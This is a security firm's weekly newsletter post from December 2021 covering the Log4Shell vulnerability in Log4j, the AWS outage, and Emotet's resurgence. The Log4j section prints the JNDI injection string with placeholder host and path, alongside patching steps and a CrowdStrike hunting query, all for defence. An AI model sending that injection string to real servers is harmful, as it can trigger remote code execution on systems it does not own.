Cyber Intelligence Weekly (Dec 12, 2021): Our Take on Three Things You Need to Know

Welcome to our weekly post where I will be sharing some of the major developments on the future of cybersecurity that you need to know about. Make sure to follow my LinkedIn page as well as Echelon’s LinkedIn page to receive updates on the future of cybersecurity!

You can also Subscribe to receive Cyber Intelligence Weekly in your inbox each week.

Before we get started on this week’s CIW, if you are looking for a penetration test in 2022, make sure to look at things differently this year and take some steps to spice it up! Check out this article by our very own James Stahl, Senior Cybersecurity Consultant, who gives some great ideas on how to get more value out of your penetration testing routine by adding some spice!

Away we go!

1. Critical Vulnerability in Ubiquitous Java Logging Utility, Log4j

WARNING: Do not look at this and say, “we don’t run java” and blow this one off. Whether you know it or not, Log4j could be operating in your environment, further explanation is below. Please reach out to us if you have questions about environment hardening, vulnerability scanning and management, and remediation services.

This just might be the single biggest cybersecurity issue of the past year, if not longer. Late last week an update to fix a critical zero-day vulnerability that allows for remote code execution (RCE) in Log4j (Logging for Java) was released by the Apache Foundation. Log4j is a ubiquitous logging tool included in thousands of applications. The vulnerability has been dubbed Log4Shell and has received the identifier CVE-2021-44228. Proof of concept exploits were being circulated in the wild before a patch had been released.

This particular vulnerability allows an attacker to send a request to a vulnerable server, where data from the request will get written to its logfile. The crafted request uses a Java Naming Directory Interface (JNDI) injection along with a variety of services like Lightweight Directory Access Protocol (LDAP) and Domain Name Service (DNS) to carry out its misdeeds. If the server uses a vulnerable Log4j version, the exploit will then request a malicious payload over JNDI through one of the services from an attacker-controlled server. Literally, a snippet this short can take advantage of this vulnerability in a big way ${jndi:ldap://[host]/[path]}. The affected version of Log4j include all versions from 2.0-beta9 to 2.14.1.

This would be a simple enough issue if all one had to do was patch the flawed version of Log4j in their infrastructure. Unfortunately, it is possible that Log4j is hiding someone buried or nested within other applications and Java archive (JAR) files. In fact, much of the free world seems to be affected by this vulnerability in one way shape or form. Don’t believe me, that’s OK, here is some hard evidence. Companies like Apple, Tesla, Twitter, Baidu, Amazon, and many more have all been confirmed vulnerable and are scrambling to update their infrastructure. While I don’t recommend this at home, Twitter user @chvancooten showed just how far and deep this goes. By simply changing his Apple iPhone name to the proof-of-concept exploit string, he was able to have Apple execute a DNS query at his behest. That seems to be, not good…

Patching this vulnerability is obviously the preferred method of mitigation. However, in many cases organizations are awaiting patches from vendors who have Log4j embedded within their application code. So, in the meantime, if you can’t patch, you can mitigate this behavior by doing the following in releases greater than 2.10. Setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

If you are like the thousands of organizations affected, you are probably wondering what else to do next. Well, there are plenty of options to consider, but all of them must take your unique environment, and its unique needs into account. Taking steps to restrict outbound access, especially for internet facing assets such as web servers, will go a long way towards preventing these types of attacks, even while Log4j remains unpatched. Doing so without limiting functionality requires some understanding of your environment. In these instances, proper system requirements documentation, as well as network traffic logs, help establish what firewall exclusions are appropriate.

So given that, here are some mitigations to consider:

• Using your perimeter firewalls, restrict outbound access from your internet facing servers, particularly web servers
• Change outbound firewall rules from web and application servers to default deny
• Turn off recursive DNS on your web and application servers
• Hunt for existing threat actor activity related to this exploit, link to IOCs below
• Some NGAVs such as CrowdStrike have created dashboards in Falcon to hunt and investigate IOCs and TTPs surrounding this attack type (see code snippet below)
• Inventory all applications and systems that use Log4j
• Upgrade to Apache Log4j 2.15.0
• Block JNDI from making requests from untrusted infrastructure
• Isolate affected infrastructure into its own separate vLAN

Tools and references to consider:

• Huntress Log4Shell Vulnerability Tester
• Log4Shell Detector from Florian Roth
• Nessus Log4j plugins
• Opensource Tool, Syft, for Creating a Software Bill of Materials (e.g. finding Log4j)
• Talos intelligence IOCs/IPs, etc.
• Listing of major vendors and their response to Log4j

CrowdStrike Falcon Event Search Query

event_simpleName IN (ProcessRollup2, SyntheticProcessRollup2, JarFileWritten, NewExecutableWritten, PeFileWritten, ElfFileWritten

| search log4j

| eval falconEvents=case(event_simpleName="ProcessRollup2", "Process Execution", event_simpleName="SyntheticProcessRollup2", "Process Execution", event_simpleName="JarFileWritten", "JAR File Write", event_simpleName="NewExecutableWritten", "EXE File Write", event_simpleName="PeFileWritten", "EXE File Write", event_simpleName=ElfFileWritten, "ELF File Write")

| fillnull value="-"

| stats dc(falconEvents) as totalEvents, values(falconEvents) as falconEvents, values(ImageFileName) as fileName, values(CommandLine) as cmdLine by aid, ProductType

| eval productType=case(ProductType = "1","Workstation", ProductType = "2","Domain Controller", ProductType = "3","Server", event_platform = "Mac", "Workstation")

| lookup local=true aid_master aid OUTPUT Version, ComputerName, AgentVersion

| table aid, ComputerName, productType, Version, AgentVersion, totalEvents, falconEvents, fileName, cmdLine

| sort +productType, +ComputerName)

2. America Runs on D̶u̶n̶k̶i̶n̶ AWS

This past week, Amazon’s popular cloud hosting solutions were experiencing availability issues for several hours. Amazon Web Services (AWS) cloud servers were causing slow loading or failures for significant chunks of the internet. This caused major outages for several popular internet sites such as Roku, Cash App, Coinbase, Venmo, Disney+, Netflix and others. It even caused major disruptions within Amazon products and sites like amazon.com, Ring, Alexa AI Assistant, Kindle ebooks and several others.

Amazon came out with a statement on December 10th, outlining some of the details and explaining the outage to their customers. The explain the root cause as “…an automated activity to scale capacity of one of the AWS services hosted in the main AWS network triggered an unexpected behavior from a large number of clients inside the internal network. This resulted in a large surge of connection activity that overwhelmed the networking devices between the internal network and the main AWS network, resulting in delays for communication between these networks. These delays increased latency and errors for services communicating between these networks, resulting in even more connection attempts and retries. This led to persistent congestion and performance issues on the devices connecting the two networks.”

They then go on to explain how this congestion impaired their own internal team’s ability to appropriately monitor operations and network health in real-time which only exacerbated the issue as operations had reduced system visibility and had to revert to review of native logs for troubleshooting. The issues started around 7:30am PST and systems were fully functional again by 2:22pm PST. The outages also affected the operation of AWS’ service support and ticketing system, which wasn’t operational again until 2:25pm PST. Essentially this meant that AWS could not take or communicate service issues with customers for the entire down period.

Amazon states that the AWS workloads were not directly impacted by this event, however, AWS services were impacted heavily, which in turn impacted customers who rely on those services. For example, they cite how EC2 instances were technically unaffected by this event, however, EC2 APIs were affected, which made it difficult for customers to launch new instances or interact with current instances.

This outage clearly illustrates the widescale reliance of public cloud providers such as AWS and just how much of an impact they can have on the services and applications that we rely on when they are down. From an internal IT management standpoint, this highlights the risk of service provider concentration and how sole reliance can affect availability.

3. Emotet Malware Making a Strong Comeback

Last week, Check Point Research, the Threat Intelligence arm of Check Point Software came out with their most wanted malware report for November 2021, and they noted that the Emotet botnet is back on the rise, despite a global takedown of its infrastructure last year.

Per a 2020 CISA alert, they describe Emotet as “an advanced Trojan, primarily spread via phishing email attachments and links that, once clicked, launch their payloads. The malware then attempts to proliferate within a network by brute forcing user credentials and writing to shared drives. Emotet is difficult to combat because of its “worm-like” features that enable network-wide infections. Additionally, Emotet uses modular Dynamic Link Libraries to continuously evolve and update its capabilities.”

In the report, Maya Horowitz, VP Research at Check Point Software said, “Emotet is one of the most successful botnet in the history of cyber and is responsible for the explosion of targeted ransomware attacks that we have witnessed in recent years.”

While this piece of news is not directly related to the Log4j issue, it is interesting to note because the new avenues of entry for attackers may help facilitate malware and ransomware attacks like those carried out by the Emotet malware family.

For a list of indicators to stay on the lookout for as well as malware tactics, techniques, and procedures we recommend reviewing this CISA advisory in detail.